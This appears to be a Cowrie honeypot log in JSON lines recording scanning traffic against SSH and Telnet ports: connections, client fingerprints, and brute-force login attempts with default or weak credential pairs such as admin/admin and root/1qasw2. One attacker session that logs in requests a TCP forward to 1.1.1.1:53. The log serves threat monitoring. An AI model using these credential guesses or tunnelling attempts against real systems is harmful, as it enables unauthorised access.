{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:17.991655Z","src_ip":"198.98.56.227","session":"61e9baf79083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22224,"dst_ip":"10.17.0.5","dst_port":22,"session":"30fd9db9309d","protocol":"ssh","message":"New connection: 87.251.64.176:22224 (10.17.0.5:22) [session: 30fd9db9309d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:20.676359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:20.682119Z","src_ip":"87.251.64.176","session":"30fd9db9309d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:20.778919Z","src_ip":"87.251.64.176","session":"30fd9db9309d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:21.072689Z","src_ip":"87.251.64.176","session":"30fd9db9309d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:21.171402Z","session":"30fd9db9309d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:21.269545Z","src_ip":"87.251.64.176","session":"30fd9db9309d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:21.505796Z","src_ip":"87.251.64.176","session":"30fd9db9309d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":35208,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8cb6664a9d","protocol":"ssh","message":"New connection: 61.155.106.101:35208 (10.17.0.5:22) [session: 3f8cb6664a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:28.444360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:28.449041Z","src_ip":"61.155.106.101","session":"3f8cb6664a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:28.718405Z","src_ip":"61.155.106.101","session":"3f8cb6664a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.196.64.39","src_port":46278,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae34f197ea9b","protocol":"telnet","message":"New connection: 38.196.64.39:46278 (159.203.135.109:23) [session: ae34f197ea9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:29.470944Z"}
{"eventid":"cowrie.login.failed","username":"git1","password":"123456","message":"login attempt [git1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:29.760706Z","src_ip":"61.155.106.101","session":"3f8cb6664a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.969191789627075,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:42.439990Z","src_ip":"38.196.64.39","session":"ae34f197ea9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":57894,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9f0fe96074","protocol":"ssh","message":"New connection: 198.98.56.227:57894 (10.17.0.5:22) [session: bd9f0fe96074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:00.877090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:00.890571Z","src_ip":"198.98.56.227","session":"bd9f0fe96074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:00.906506Z","src_ip":"198.98.56.227","session":"bd9f0fe96074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"louis","password":"test","message":"login attempt [louis/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:00.981638Z","src_ip":"198.98.56.227","session":"bd9f0fe96074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:01.993308Z","src_ip":"198.98.56.227","session":"bd9f0fe96074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29518,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a7f263e58f5","protocol":"telnet","message":"New connection: 212.55.149.117:29518 (10.17.0.5:23) [session: 1a7f263e58f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:08.634637Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":46058,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ba8fc003b2","protocol":"ssh","message":"New connection: 198.98.56.227:46058 (10.17.0.5:22) [session: f4ba8fc003b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:42.975273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:42.980105Z","src_ip":"198.98.56.227","session":"f4ba8fc003b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:42.997939Z","src_ip":"198.98.56.227","session":"f4ba8fc003b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"server","message":"login attempt [dev/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:43.070761Z","src_ip":"198.98.56.227","session":"f4ba8fc003b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:44.082745Z","src_ip":"198.98.56.227","session":"f4ba8fc003b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.155.106.101","src_port":47426,"dst_ip":"10.17.0.5","dst_port":22,"session":"18ead13f47d6","protocol":"ssh","message":"New connection: 61.155.106.101:47426 (10.17.0.5:22) [session: 18ead13f47d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:54.194590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:54.199895Z","src_ip":"61.155.106.101","session":"18ead13f47d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:54.451575Z","src_ip":"61.155.106.101","session":"18ead13f47d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suser","password":"1234","message":"login attempt [suser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:55.521604Z","src_ip":"61.155.106.101","session":"18ead13f47d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:46:56.792374Z","src_ip":"61.155.106.101","session":"18ead13f47d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":18161,"dst_ip":"10.17.0.5","dst_port":23,"session":"da0fc9616ee5","protocol":"telnet","message":"New connection: 212.55.149.117:18161 (10.17.0.5:23) [session: da0fc9616ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:06.870506Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":58433,"dst_ip":"159.203.135.109","dst_port":22,"session":"7de1d92f7338","protocol":"ssh","message":"New connection: 193.24.211.100:58433 (159.203.135.109:22) [session: 7de1d92f7338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:07.630002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:07.634625Z","src_ip":"193.24.211.100","session":"7de1d92f7338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:07.786371Z","src_ip":"193.24.211.100","session":"7de1d92f7338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qasw2","message":"login attempt [root/1qasw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:08.207534Z","src_ip":"193.24.211.100","session":"7de1d92f7338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:09.318489Z","src_ip":"193.24.211.100","session":"7de1d92f7338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.78741145133972,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:09.421916Z","src_ip":"212.55.149.117","session":"1a7f263e58f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":34220,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0473fe4733b","protocol":"ssh","message":"New connection: 198.98.56.227:34220 (10.17.0.5:22) [session: c0473fe4733b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:27.190468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:27.201089Z","src_ip":"198.98.56.227","session":"c0473fe4733b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:27.218987Z","src_ip":"198.98.56.227","session":"c0473fe4733b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123321","message":"login attempt [guest/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:27.279441Z","src_ip":"198.98.56.227","session":"c0473fe4733b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:28.292361Z","src_ip":"198.98.56.227","session":"c0473fe4733b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:47:28.449125Z","src_ip":"61.155.106.101","session":"3f8cb6664a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.148.112","src_port":63018,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2d847ab715","protocol":"telnet","message":"New connection: 201.77.148.112:63018 (10.17.0.5:23) [session: 5f2d847ab715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:01.456339Z"}
{"eventid":"cowrie.session.closed","duration":61.79659152030945,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:08.666959Z","src_ip":"212.55.149.117","session":"da0fc9616ee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.151343584060669,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:13.607559Z","src_ip":"201.77.148.112","session":"5f2d847ab715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":50614,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb16986dddc7","protocol":"ssh","message":"New connection: 198.98.56.227:50614 (10.17.0.5:22) [session: fb16986dddc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:15.220542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:48:15.229133Z","src_ip":"198.98.56.227","session":"fb16986dddc7","protocol":"ssh"}
